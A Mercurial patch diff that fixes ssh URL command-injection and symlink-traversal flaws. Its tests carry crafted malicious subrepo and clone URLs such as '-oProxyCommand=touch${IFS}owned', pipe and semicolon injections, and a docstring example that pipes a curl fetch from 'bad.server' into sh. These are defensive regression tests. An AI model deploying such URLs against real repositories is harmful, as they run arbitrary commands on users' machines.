diff --git a/mercurial/cmdutil.py b/mercurial/cmdutil.py index 5c23633..e44ae51 100644 --- a/mercurial/cmdutil.py +++ b/mercurial/cmdutil.py @@ -2018,7 +2018,7 @@ def revert(ui, repo, ctx, parents, *pats, **opts): fc = ctx[f] repo.wwrite(f, fc.data(), fc.flags()) - audit_path = scmutil.pathauditor(repo.root) + audit_path = scmutil.pathauditor(repo.root, cached=True) for f in remove[0]: if repo.dirstate[f] == 'a': repo.dirstate.drop(f) diff --git a/mercurial/context.py b/mercurial/context.py index 137c1f2..c3d96a0 100644 --- a/mercurial/context.py +++ b/mercurial/context.py @@ -360,7 +360,7 @@ class changectx(object): r = self._repo return matchmod.match(r.root, r.getcwd(), pats, include, exclude, default, - auditor=r.auditor, ctx=self) + auditor=r.nofsauditor, ctx=self) def diff(self, ctx2=None, match=None, **opts): """Returns a diff generator for the given contexts and matcher""" @@ -1137,6 +1137,13 @@ class workingctx(changectx): finally: wlock.release() + def match(self, pats=[], include=None, exclude=None, default='glob'): + r = self._repo + return matchmod.match(r.root, r.getcwd(), pats, + include, exclude, default, + auditor=r.auditor, ctx=self) + + def markcommitted(self, node): """Perform post-commit cleanup necessary after committing this ctx diff --git a/mercurial/dirstate.py b/mercurial/dirstate.py index 6fbba21..c89bdd8 100644 --- a/mercurial/dirstate.py +++ b/mercurial/dirstate.py @@ -695,7 +695,7 @@ class dirstate(object): # unknown == True means we walked the full directory tree above. # So if a file is not seen it was either a) not matching matchfn # b) ignored, c) missing, or d) under a symlink directory. - audit_path = scmutil.pathauditor(self._root) + audit_path = scmutil.pathauditor(self._root, cached=True) for nf in iter(visit): # Report ignored items in the dmap as long as they are not diff --git a/mercurial/localrepo.py b/mercurial/localrepo.py index d4d675f..dcaaf40 100644 --- a/mercurial/localrepo.py +++ b/mercurial/localrepo.py @@ -159,7 +159,9 @@ class localrepository(object): self.path = self.wvfs.join(".hg") self.origroot = path self.auditor = scmutil.pathauditor(self.root, self._checknested) - self.vfs = scmutil.vfs(self.path) + self.nofsauditor = scmutil.pathauditor(self.root, self._checknested, + realfs=False, cached=True) + self.vfs = scmutil.vfs(self.path, cacheaudited=True) self.opener = self.vfs self.baseui = baseui self.ui = baseui.copy() @@ -220,7 +222,9 @@ class localrepository(object): if inst.errno != errno.ENOENT: raise - self.store = store.store(requirements, self.sharedpath, scmutil.vfs) + self.store = store.store( + requirements, self.sharedpath, + lambda base: scmutil.vfs(base, cacheaudited=True)) self.spath = self.store.path self.svfs = self.store.vfs self.sopener = self.svfs diff --git a/mercurial/posix.py b/mercurial/posix.py index a8fc82b..4f04a56 100644 --- a/mercurial/posix.py +++ b/mercurial/posix.py @@ -7,6 +7,7 @@ from i18n import _ import encoding +import error ##TODOCVE import os, sys, errno, stat, getpass, pwd, grp, socket, tempfile, unicodedata posixfile = open @@ -64,7 +65,13 @@ def parsepatchoutput(output_line): def sshargs(sshcmd, host, user, port): '''Build argument list for ssh''' args = user and ("%s@%s" % (user, host)) or host - return port and ("%s -p %s" % (args, port)) or args + if '-' in args[:1]: + raise error.Abort( + _('illegal ssh hostname or username starting with -: %s') % args) + args = shellquote(args) + if port: + args = '-p %s %s' % (shellquote(port), args) + return args def isexec(f): """check whether a file is executable""" diff --git a/mercurial/scmutil.py b/mercurial/scmutil.py index f8c96c1..88a35b5 100644 --- a/mercurial/scmutil.py +++ b/mercurial/scmutil.py @@ -118,12 +118,22 @@ class pathauditor(object): - traverses a symlink (e.g. a/symlink_here/b) - inside a nested repository (a callback can be used to approve some nested repositories, e.g., subrepositories) + + The file system checks are only done when 'realfs' is set to True (the + default). They should be disable then we are auditing path for operation on + stored history. + + If 'cached' is set to True, audited paths and sub-directories are cached. + Be careful to not keep the cache of unmanaged directories for long because + audited paths may be replaced with symlinks. ''' - def __init__(self, root, callback=None): + def __init__(self, root, callback=None, realfs=True, cached=False): self.audited = set() self.auditeddir = set() self.root = root + self._realfs = realfs + self._cached = cached self.callback = callback if os.path.lexists(root) and not util.checkcase(root): self.normcase = util.normcase @@ -166,33 +176,39 @@ class pathauditor(object): normprefix = os.sep.join(normparts) if normprefix in self.auditeddir: break - curpath = os.path.join(self.root, prefix) - try: - st = os.lstat(curpath) - except OSError, err: - # EINVAL can be raised as invalid path syntax under win32. - # They must be ignored for patterns can be checked too. - if err.errno not in (errno.ENOENT, errno.ENOTDIR, errno.EINVAL): - raise - else: - if stat.S_ISLNK(st.st_mode): - raise util.Abort( - _('path %r traverses symbolic link %r') - % (path, prefix)) - elif (stat.S_ISDIR(st.st_mode) and - os.path.isdir(os.path.join(curpath, '.hg'))): - if not self.callback or not self.callback(curpath): - raise util.Abort(_("path '%s' is inside nested " - "repo %r") - % (path, prefix)) + + if self._realfs: + self._checkfs(prefix,path) prefixes.append(normprefix) parts.pop() normparts.pop() - self.audited.add(normpath) - # only add prefixes to the cache after checking everything: we don't - # want to add "foo/bar/baz" before checking if there's a "foo/.hg" - self.auditeddir.update(prefixes) + if self._cached: + self.audited.add(normpath) + # only add prefixes to the cache after checking everything: we don't + # want to add "foo/bar/baz" before checking if there's a "foo/.hg" + self.auditeddir.update(prefixes) + + def _checkfs(self, prefix, path): + curpath = os.path.join(self.root, prefix) + try: + st = os.lstat(curpath) + except OSError, err: + # EINVAL can be raised as invalid path syntax under win32. + # They must be ignored for patterns can be checked too. + if err.errno not in (errno.ENOENT, errno.ENOTDIR, errno.EINVAL): + raise + else: + if stat.S_ISLNK(st.st_mode): + raise util.Abort( + _('path %r traverses symbolic link %r') + % (path, prefix)) + elif (stat.S_ISDIR(st.st_mode) and + os.path.isdir(os.path.join(curpath, '.hg'))): + if not self.callback or not self.callback(curpath): + raise util.Abort(_("path '%s' is inside nested " + "repo %r") + % (path, prefix)) def check(self, path): try: @@ -276,13 +292,19 @@ class vfs(abstractvfs): This class is used to hide the details of COW semantics and remote file access from higher level code. + + 'cacheaudited' should be enabled only if (a) vfs object is short-lived, or + (b) the base directory is managed by hg and considered sort-of append-only. + See pathauditor() for details. ''' - def __init__(self, base, audit=True, expandpath=False, realpath=False): + def __init__(self, base, audit=True, cacheaudited=False, expandpath=False, + realpath=False): if expandpath: base = util.expandpath(base) if realpath: base = os.path.realpath(base) self.base = base + self._cacheaudited = cacheaudited self._setmustaudit(audit) self.createmode = None self._trustnlink = None @@ -293,7 +315,8 @@ class vfs(abstractvfs): def _setmustaudit(self, onoff): self._audit = onoff if onoff: - self.audit = pathauditor(self.base) + self.audit = pathauditor( + self.base, cached=self._cacheaudited) else: self.audit = util.always @@ -685,8 +708,9 @@ def addremove(repo, pats=[], opts={}, dry_run=None, similarity=None): if similarity is None: similarity = float(opts.get('similarity') or 0) # we'd use status here, except handling of symlinks and ignore is tricky + ##NOTE _interestingfiles() ## added, unknown, deleted, removed = [], [], [], [] - audit_path = pathauditor(repo.root) + audit_path = pathauditor(repo.root, cached=True) m = match(repo[None], pats, opts) rejected = [] m.bad = lambda x, y: rejected.append(x) diff --git a/mercurial/sshpeer.py b/mercurial/sshpeer.py index 71fed08..5f46b70 100644 --- a/mercurial/sshpeer.py +++ b/mercurial/sshpeer.py @@ -35,6 +35,8 @@ class sshpeer(wireproto.wirepeer): if u.scheme != 'ssh' or not u.host or u.path is None: self._abort(error.RepoError(_("couldn't parse location %s") % path)) + util.checksafessh(path) + self.user = u.user if u.passwd is not None: self._abort(error.RepoError(_("password in URL not supported"))) diff --git a/mercurial/subrepo.py b/mercurial/subrepo.py index 7286f06..6347ace 100644 --- a/mercurial/subrepo.py +++ b/mercurial/subrepo.py @@ -969,6 +969,10 @@ class svnsubrepo(abstractsubrepo): # The revision must be specified at the end of the URL to properly # update to a directory which has since been deleted and recreated. args.append('%s@%s' % (state[0], state[1])) + + # SEC: check that the ssh url is safe + util.checksafessh(state[0]) + status, err = self._svncommand(args, failok=True) if not re.search('Checked out revision [0-9]+.', status): if ('is already a working copy for a different URL' in err @@ -1172,6 +1176,9 @@ class gitsubrepo(abstractsubrepo): def _fetch(self, source, revision): if self._gitmissing(): + # SEC: check for safe ssh url + util.checksafessh(source) + source = self._abssource(source) self._ui.status(_('cloning subrepo %s from %s\n') % (self._relpath, source)) diff --git a/mercurial/util.py b/mercurial/util.py index 8ea36bb..36d507d 100644 --- a/mercurial/util.py +++ b/mercurial/util.py @@ -1863,6 +1863,21 @@ def hasdriveletter(path): def urllocalpath(path): return url(path, parsequery=False, parsefragment=False).localpath() +def checksafessh(path): + """check if a path / url is a potentially unsafe ssh exploit (SEC) + + This is a sanity check for ssh urls. ssh will parse the first item as + an option; e.g. ssh://-oProxyCommand=curl${IFS}bad.server|sh/path. + Let's prevent these potentially exploited urls entirely and warn the + user. + + Raises an error.Abort when the url is unsafe. + """ + path = urllib.unquote(path) + if path.startswith('ssh://-') or path.startswith('svn+ssh://-'): + raise error.Abort(_('potentially unsafe url: %r') % + (path,)) + def hidepassword(u): '''hide user credential in a url string''' u = url(u) diff --git a/mercurial/windows.py b/mercurial/windows.py index 1e8a623..40a5a50 100644 --- a/mercurial/windows.py +++ b/mercurial/windows.py @@ -6,7 +6,7 @@ # GNU General Public License version 2 or any later version. from i18n import _ -import osutil, encoding +import osutil, encoding, error ##TODOCVE import errno, msvcrt, os, re, stat, sys, _winreg import win32 @@ -100,7 +100,14 @@ def sshargs(sshcmd, host, user, port): '''Build argument list for ssh or Plink''' pflag = 'plink' in sshcmd.lower() and '-P' or '-p' args = user and ("%s@%s" % (user, host)) or host - return port and ("%s %s %s" % (args, pflag, port)) or args + if args.startswith('-') or args.startswith('/'): + raise error.Abort( + _('illegal ssh hostname or username starting with - or /: %s') % + args) + args = shellquote(args) + if port: + args = '%s %s %s' % (pflag, shellquote(port), args) + return args def setflags(f, l, x): pass diff --git a/tests/test-audit-path.t b/tests/test-audit-path.t index 5f49e7f..08d61bb 100644 --- a/tests/test-audit-path.t +++ b/tests/test-audit-path.t @@ -27,6 +27,45 @@ should still fail - maybe abort: path 'b/b' traverses symbolic link 'b' (glob) [255] + $ hg commit -m 'add symlink b' + + +Test symlink traversing when accessing history: +----------------------------------------------- + +(build a changeset where the path exists as a directory) + + $ hg up 0 + 0 files updated, 0 files merged, 1 files removed, 0 files unresolved + $ mkdir b + $ echo c > b/a + $ hg add b/a + $ hg ci -m 'add directory b' + created new head + +Test that hg cat does not do anything wrong the working copy has 'b' as directory + + $ hg cat b/a + c + $ hg cat -r "desc(directory)" b/a + c + $ hg cat -r "desc(symlink)" b/a + b/a: no such file in rev bc151a1f53bd + [1] + +Test that hg cat does not do anything wrong the working copy has 'b' as a symlink (issue4749) + + $ hg up 'desc(symlink)' + 1 files updated, 0 files merged, 1 files removed, 0 files unresolved + $ hg cat b/a + b/a: no such file in rev bc151a1f53bd + [1] + $ hg cat -r "desc(directory)" b/a + c + $ hg cat -r "desc(symlink)" b/a + b/a: no such file in rev bc151a1f53bd + [1] + #endif @@ -90,3 +129,90 @@ attack /tmp/test [255] $ cd .. + +Test symlink traversal on merge: +-------------------------------- + +#if symlink + +set up symlink hell + + $ mkdir merge-symlink-out + $ hg init merge-symlink + $ cd merge-symlink + $ touch base + $ hg commit -qAm base + $ ln -s ../merge-symlink-out a + $ hg commit -qAm 'symlink a -> ../merge-symlink-out' + $ hg up -q 0 + $ mkdir a + $ touch a/poisoned + $ hg commit -qAm 'file a/poisoned' + $ hg log -G '{rev}: {desc}\n' + +try trivial merge + + $ hg up -qC 1 + $ hg merge 2 + abort: path 'a/poisoned' traverses symbolic link 'a' + [255] + +try rebase onto other revision: cache of audited paths should be discarded, +and the rebase should fail (issue5628) + + $ hg up -qC 2 + $ hg rebase -s 2 -d 1 --config extensions.rebase= + abort: path 'a/poisoned' traverses symbolic link 'a' + [255] + $ ls ../merge-symlink-out + + $ cd .. + +Test symlink traversal on update: +--------------------------------- + + $ mkdir update-symlink-out + $ hg init update-symlink + $ cd update-symlink + $ ln -s ../update-symlink-out a + $ hg commit -qAm 'symlink a -> ../update-symlink-out' + $ hg rm a + $ mkdir a && touch a/b + $ hg ci -qAm 'file a/b' a/b + $ hg up -qC 0 + $ hg rm a + $ mkdir a && touch a/c + $ hg ci -qAm 'rm a, file a/c' + $ hg log -G '{rev}: {desc}\n' + +try linear update where symlink already exists: + + $ hg up -qC 0 + $ hg up 1 + abort: path 'a/b' traverses symbolic link 'a' + [255] + +try linear update including symlinked directory and its content: paths are +audited first by calculateupdates(), where no symlink is created so both +'a' and 'a/b' are taken as good paths. still applyupdates() should fail. + + $ hg up -qC null + $ hg up 1 + abort: path 'a/b' traverses symbolic link 'a' + [255] + $ ls ../update-symlink-out + +try branch update replacing directory with symlink, and its content: the +path 'a' is audited as a directory first, which should be audited again as +a symlink. + + $ rm -f a + $ hg up -qC 2 + $ hg up 1 + abort: path 'a/b' traverses symbolic link 'a' + [255] + $ ls ../update-symlink-out + + $ cd .. + +#endif diff --git a/tests/test-clone.t b/tests/test-clone.t index 55e8a4a..2b09c4e 100644 --- a/tests/test-clone.t +++ b/tests/test-clone.t @@ -621,3 +621,66 @@ re-enable perm to allow deletion #endif $ cd .. + +SEC: check for unsafe ssh url + + $ cat >> $HGRCPATH << EOF + > [ui] + > ssh = sh -c "read l; read l; read l" + > EOF + + $ hg clone 'ssh://-oProxyCommand=touch${IFS}owned/path' + abort: potentially unsafe url: 'ssh://-oProxyCommand=touch${IFS}owned/path' + [255] + $ hg clone 'ssh://%2DoProxyCommand=touch${IFS}owned/path' + abort: potentially unsafe url: 'ssh://-oProxyCommand=touch${IFS}owned/path' + [255] + $ hg clone 'ssh://fakehost|touch%20owned/path' + abort: no suitable response from remote hg! + [255] + $ hg clone 'ssh://fakehost%7Ctouch%20owned/path' + abort: no suitable response from remote hg! + [255] + + $ hg clone 'ssh://-oProxyCommand=touch owned%20foo@example.com/nonexistent/path' + abort: potentially unsafe url: 'ssh://-oProxyCommand=touch owned foo@example.com/nonexistent/path' + [255] + +#if windows + $ hg clone "ssh://%26touch%20owned%20/" --debug + running sh -c "read l; read l; read l" "&touch owned " "hg -R . serve --stdio" + sending hello command + sending between command + abort: no suitable response from remote hg! + [255] + $ hg clone "ssh://example.com:%26touch%20owned%20/" --debug + running sh -c "read l; read l; read l" -p "&touch owned " example.com "hg -R . serve --stdio" + sending hello command + sending between command + abort: no suitable response from remote hg! + [255] +#else + $ hg clone "ssh://%3btouch%20owned%20/" --debug + running sh -c "read l; read l; read l" ';touch owned ' 'hg -R . serve --stdio' + sending hello command + sending between command + abort: no suitable response from remote hg! + [255] + $ hg clone "ssh://example.com:%3btouch%20owned%20/" --debug + running sh -c "read l; read l; read l" -p ';touch owned ' example.com 'hg -R . serve --stdio' + sending hello command + sending between command + abort: no suitable response from remote hg! + [255] +#endif + + $ hg clone "ssh://v-alid.example.com/" --debug + running sh -c "read l; read l; read l" v-alid\.example\.com ['"]hg -R \. serve --stdio['"] (re) + sending hello command + sending between command + abort: no suitable response from remote hg! + [255] + +We should not have created a file named owned - if it exists, the +attack succeeded. + $ if test -f owned; then echo 'you got owned'; fi diff --git a/tests/test-pull.t b/tests/test-pull.t index 01356a6..c08f0a7 100644 --- a/tests/test-pull.t +++ b/tests/test-pull.t @@ -89,4 +89,26 @@ regular shell commands. $ URL=`python -c "import os; print 'file://localhost' + ('/' + os.getcwd().replace(os.sep, '/')).replace('//', '/') + '/../test'"` $ hg pull -q "$URL" +SEC: check for unsafe ssh url + + $ cat >> $HGRCPATH << EOF + > [ui] + > ssh = sh -c "read l; read l; read l" + > EOF + + $ hg pull 'ssh://-oProxyCommand=touch${IFS}owned/path' + abort: potentially unsafe url: 'ssh://-oProxyCommand=touch${IFS}owned/path' + [255] + $ hg pull 'ssh://%2DoProxyCommand=touch${IFS}owned/path' + abort: potentially unsafe url: 'ssh://-oProxyCommand=touch${IFS}owned/path' + [255] + $ hg pull 'ssh://fakehost|touch${IFS}owned/path' + abort: no suitable response from remote hg! + [255] + $ hg pull 'ssh://fakehost%7Ctouch%20owned/path' + abort: no suitable response from remote hg! + [255] + + $ [ ! -f owned ] || echo 'you got owned' + $ cd .. diff --git a/tests/test-subrepo-git.t b/tests/test-subrepo-git.t index 24cb6a2..70a09ce 100644 --- a/tests/test-subrepo-git.t +++ b/tests/test-subrepo-git.t @@ -564,7 +564,7 @@ test for Git CVE-2016-3068 $ cd malicious-subrepository $ echo "s = [git]ext::sh -c echo% pwned% >&2" > .hgsub $ git init s - Initialized empty Git repository in $TESTTMP/tc/malicious-subrepository/s/.git/ + Initialized empty Git repository in $TESTTMP/malicious-subrepository/s/.git/ $ cd s $ git commit --allow-empty -m 'empty' [master (root-commit) 153f934] empty @@ -573,7 +573,7 @@ test for Git CVE-2016-3068 $ hg commit -m "add subrepo" $ cd .. $ env -u GIT_ALLOW_PROTOCOL hg clone malicious-subrepository malicious-subrepository-protected - Cloning into '$TESTTMP/tc/malicious-subrepository-protected/s'... + Cloning into '$TESTTMP/malicious-subrepository-protected/s'... fatal: transport 'ext' not allowed updating to branch default cloning subrepo s from ext::sh -c echo% pwned% >&2 @@ -582,7 +582,6 @@ test for Git CVE-2016-3068 whitelisting of ext should be respected (that's the git submodule behaviour) $ env GIT_ALLOW_PROTOCOL=ext hg clone malicious-subrepository malicious-subrepository-clone-allowed - Cloning into '$TESTTMP/tc/malicious-subrepository-clone-allowed/s'... pwned fatal: Could not read from remote repository. @@ -592,3 +591,35 @@ whitelisting of ext should be respected (that's the git submodule behaviour) cloning subrepo s from ext::sh -c echo% pwned% >&2 abort: git clone error 128 in s (in subrepo s) [255] + +test for ssh exploit with git subrepos 2017-07-25 + + $ hg init malicious-proxycommand + $ cd malicious-proxycommand + $ echo 's = [git]ssh://-oProxyCommand=rm${IFS}non-existent/path' > .hgsub + $ git init s + Initialized empty Git repository in $TESTTMP/tc/malicious-proxycommand/s/.git/ + $ cd s + $ git commit --allow-empty -m 'empty' + [master (root-commit) 153f934] empty + $ cd .. + $ hg add .hgsub + $ hg ci -m 'add subrepo' + $ cd .. + $ hg clone malicious-proxycommand malicious-proxycommand-clone + updating to branch default + abort: potentially unsafe url: 'ssh://-oProxyCommand=rm${IFS}non-existent/path' (in subrepo s) + [255] + +also check that a percent encoded '-' (%2D) doesn't work + + $ cd malicious-proxycommand + $ echo 's = [git]ssh://%2DoProxyCommand=rm${IFS}non-existent/path' > .hgsub + $ hg ci -m 'change url to percent encoded' + $ cd .. + $ rm -r malicious-proxycommand-clone + $ hg clone malicious-proxycommand malicious-proxycommand-clone + updating to branch default + abort: potentially unsafe url: 'ssh://-oProxyCommand=rm${IFS}non-existent/path' (in subrepo s) + [255] + diff --git a/tests/test-subrepo-svn.t b/tests/test-subrepo-svn.t index dde08d0..1216808 100644 --- a/tests/test-subrepo-svn.t +++ b/tests/test-subrepo-svn.t @@ -623,3 +623,43 @@ well. Checked out revision 15. 2 files updated, 0 files merged, 0 files removed, 0 files unresolved $ cd .. + +SEC: test for ssh exploit + + $ hg init ssh-vuln + $ cd ssh-vuln + $ echo "s = [svn]$SVNREPOURL/src" >> .hgsub + $ svn co --quiet "$SVNREPOURL"/src s + $ hg add .hgsub + $ hg ci -m1 + $ echo "s = [svn]svn+ssh://-oProxyCommand=touch%20owned%20nested" > .hgsub + $ hg ci -m2 + $ cd .. + $ hg clone ssh-vuln ssh-vuln-clone + updating to branch default + abort: potentially unsafe url: 'svn+ssh://-oProxyCommand=touch owned nested' (in subrepo s) + [255] + +also check that a percent encoded '-' (%2D) doesn't work + + $ cd ssh-vuln + $ echo "s = [svn]svn+ssh://%2DoProxyCommand=touch%20owned%20nested" > .hgsub + $ hg ci -m3 + $ cd .. + $ rm -r ssh-vuln-clone + $ hg clone ssh-vuln ssh-vuln-clone + updating to branch default + abort: potentially unsafe url: 'svn+ssh://-oProxyCommand=touch owned nested' (in subrepo s) + [255] + +also check that hiding the attack in the username doesn't work: + + $ cd ssh-vuln + $ echo "s = [svn]svn+ssh://%2DoProxyCommand=touch%20owned%20foo@example.com/nested" > .hgsub + $ hg ci -m3 + $ cd .. + $ rm -r ssh-vuln-clone + $ hg clone ssh-vuln ssh-vuln-clone + updating to branch default + abort: potentially unsafe url: 'svn+ssh://-oProxyCommand=touch owned foo@example.com/nested' (in subrepo s) + [255] diff --git a/tests/test-subrepo.t b/tests/test-subrepo.t index c0d017c..d4bde48 100644 --- a/tests/test-subrepo.t +++ b/tests/test-subrepo.t @@ -1214,3 +1214,77 @@ Courtesy phases synchronisation to publishing server does not block the push no changes found [1] + +test for ssh exploit 2017-07-25 + + $ cat >> $HGRCPATH << EOF + > [ui] + > ssh = sh -c "read l; read l; read l" + > EOF + + $ hg init malicious-proxycommand + $ cd malicious-proxycommand + $ echo 's = [hg]ssh://-oProxyCommand=touch${IFS}owned/path' > .hgsub + $ hg init s + $ cd s + $ echo init > init + $ hg add + adding init + $ hg commit -m init + $ cd .. + $ hg add .hgsub + $ hg ci -m 'add subrepo' + $ cd .. + $ hg clone malicious-proxycommand malicious-proxycommand-clone + updating to branch default + abort: potentially unsafe url: 'ssh://-oProxyCommand=touch${IFS}owned/path' (in subrepo s) + [255] + +also check that a percent encoded '-' (%2D) doesn't work + + $ cd malicious-proxycommand + $ echo 's = [hg]ssh://%2DoProxyCommand=touch${IFS}owned/path' > .hgsub + $ hg ci -m 'change url to percent encoded' + $ cd .. + $ rm -r malicious-proxycommand-clone + $ hg clone malicious-proxycommand malicious-proxycommand-clone + updating to branch default + abort: potentially unsafe url: 'ssh://-oProxyCommand=touch${IFS}owned/path' (in subrepo s) + [255] + +also check for a pipe + + $ cd malicious-proxycommand + $ echo 's = [hg]ssh://fakehost|touch${IFS}owned/path' > .hgsub + $ hg ci -m 'change url to pipe' + $ cd .. + $ rm -r malicious-proxycommand-clone + $ hg clone malicious-proxycommand malicious-proxycommand-clone + updating to branch default + abort: no suitable response from remote hg! + [255] + $ [ ! -f owned ] || echo 'you got owned' + +also check that a percent encoded '|' (%7C) doesn't work + + $ cd malicious-proxycommand + $ echo 's = [hg]ssh://fakehost%7Ctouch%20owned/path' > .hgsub + $ hg ci -m 'change url to percent encoded pipe' + $ cd .. + $ rm -r malicious-proxycommand-clone + $ hg clone malicious-proxycommand malicious-proxycommand-clone + updating to branch default + abort: no suitable response from remote hg! + [255] + $ [ ! -f owned ] || echo 'you got owned' + +and bad usernames: + $ cd malicious-proxycommand + $ echo 's = [hg]ssh://-oProxyCommand=touch owned@example.com/path' > .hgsub + $ hg ci -m 'owned username' + $ cd .. + $ rm -r malicious-proxycommand-clone + $ hg clone malicious-proxycommand malicious-proxycommand-clone + updating to branch default + abort: potentially unsafe url: 'ssh://-oProxyCommand=touch owned@example.com/path' (in subrepo s) + [255]